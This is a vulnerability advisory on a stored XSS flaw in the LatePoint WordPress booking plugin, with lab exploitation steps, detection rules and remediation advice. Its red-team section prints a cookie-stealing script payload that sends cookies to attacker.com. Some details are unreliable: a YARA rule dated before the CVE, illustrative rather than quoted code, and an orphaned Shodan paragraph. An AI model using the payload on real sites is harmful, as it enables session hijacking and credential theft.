CVE-2026-7448
Executive Summary
CVE-2026-7448 is a Stored Cross-Site Scripting (XSS) vulnerability in the LatePoint – Calendar Booking Plugin for WordPress, affecting all versions up to and including 5.5.0. The flaw resides in the first_name parameter, which is insufficiently sanitized and escaped, allowing unauthenticated attackers to inject arbitrary web scripts. When a user (such as an admin or other visitor) accesses a page containing the injected payload, the script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who install the plugin from the repository or via automatic updates are at risk. No official patch has been released as of the analysis date. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a PHP-based WordPress plugin. Supply chain risk is elevated due to the lack of a patch and the plugin's widespread use in booking systems.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is High due to the low complexity and no authentication requirement, despite requiring user interaction. The vulnerability can be exploited to steal session cookies or perform actions on behalf of an admin.
Deep Dive & Mechanics
The vulnerability exists in the first_name parameter, likely used during the booking or registration process. The plugin fails to sanitize user input and does not escape output when rendering the first_name value on pages such as the admin dashboard or booking confirmation. An attacker can submit a crafted first_name containing JavaScript payloads (e.g., <script>alert('XSS')</script>). When an admin or other user views the affected page, the script executes.
The root cause is insufficient input validation and output escaping in the WordPress plugin's code. The first_name field is stored in the database and later displayed without proper escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (example from LatePoint <= 5.5.0):
// In a template or function displaying booking details
echo $booking->first_name;
Patched Code (hypothetical fix):
// Properly escape output
echo esc_html( $booking->first_name );
The vulnerable code directly outputs the stored value without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with LatePoint plugin version 5.5.0 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Use a simple XSS payload:
<script>alert(document.cookie)</script>. - Submit: Fill out the booking form with the payload in the
first_namefield. - Trigger: Log in as an admin and navigate to the bookings list or edit page.
- Result: The script executes, displaying the admin's cookies.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
- Monitor: Look for unusual
first_namevalues containing<script>,<img>, oronerrorattributes. - Log Analysis: Check web server logs for requests to
/wp-admin/admin-ajax.phpor booking endpoints with suspicious parameters. - WAF Rules: Block requests containing
<script>in thefirst_nameparameter. - User Education: Train admins to avoid clicking on suspicious booking entries.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- File: Modified WordPress database entries in the
wp_latepoint_bookingstable withfirst_namecontaining JavaScript. - Log: Web server logs showing
first_nameparameter with<script>tags. - Behavior: Unexpected admin actions (e.g., new admin user creation) without legitimate cause.
Detection Engineering
YARA Rule
rule CVE_2026_7448_LatePoint_XSS {
meta:
description = "Detects stored XSS payloads in LatePoint first_name field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-7448"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: LatePoint Stored XSS via first_name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in LatePoint plugin first_name field
author: Valters IT
logsource:
category: web
product: wordpress
detection:
selection:
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains: 'first_name'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in first_name (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-7448 LatePoint Stored XSS Attempt"; flow:to_server; content:"first_name"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the LatePoint plugin until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
<script>tags in thefirst_nameparameter. - Long-term: Apply output escaping functions (
esc_html(),esc_attr()) to all user-supplied fields in the plugin code. - Monitor: Regularly review WordPress logs for suspicious activity.
- Update: Watch the LatePoint plugin repository for a patched version (expected > 5.5.0).
Valters IT
Securing WordPress Ecosystems
{/* [Security Hash: 31F3837A8CA6E76C89A09E45] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.